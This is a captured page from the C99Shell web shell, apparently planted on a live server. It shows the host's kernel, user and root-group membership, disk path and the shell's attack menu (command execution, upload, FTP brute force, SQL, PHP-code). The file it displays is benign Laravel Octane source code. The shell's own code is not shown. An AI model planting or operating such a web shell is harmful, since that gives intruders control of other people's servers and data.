!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laravel/octane/src/FrankenPhp/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ServerStateFile.php (1.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Octane\FrankenPhp;

use 
RuntimeException;

class 
ServerStateFile
{
    public function 
__construct(protected string $path)
    {
    }

    
/**
     * Read the server state from the server state file.
     */
    
public function read(): array
    {
        
$state is_readable($this->path)
                    ? 
json_decode(file_get_contents($this->path), true)
                    : [];

        return [
            
'masterProcessId' => $state['masterProcessId'] ?? null,
            
'state' => $state['state'] ?? [],
        ];
    }

    
/**
     * Write the given process ID to the server state file.
     */
    
public function writeProcessId(int $masterProcessId): void
    
{
        if (! 
is_writable($this->path) && ! is_writable(dirname($this->path))) {
            throw new 
RuntimeException('Unable to write to process ID file.');
        }

        
file_put_contents($this->pathjson_encode(
            
array_merge($this->read(), ['masterProcessId' => $masterProcessId]),
            
JSON_PRETTY_PRINT
        
));
    }

    
/**
     * Write the given state array to the server state file.
     */
    
public function writeState(array $newState): void
    
{
        if (! 
is_writable($this->path) && ! is_writable(dirname($this->path))) {
            throw new 
RuntimeException('Unable to write to process ID file.');
        }

        
file_put_contents($this->pathjson_encode(
            
array_merge($this->read(), ['state' => $newState]),
            
JSON_PRETTY_PRINT
        
));
    }

    
/**
     * Delete the process ID file.
     */
    
public function delete(): bool
    
{
        if (
is_writable($this->path)) {
            return 
unlink($this->path);
        }

        return 
false;
    }

    
/**
     * Get the path to the process ID file.
     */
    
public function path(): string
    
{
        return 
$this->path;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--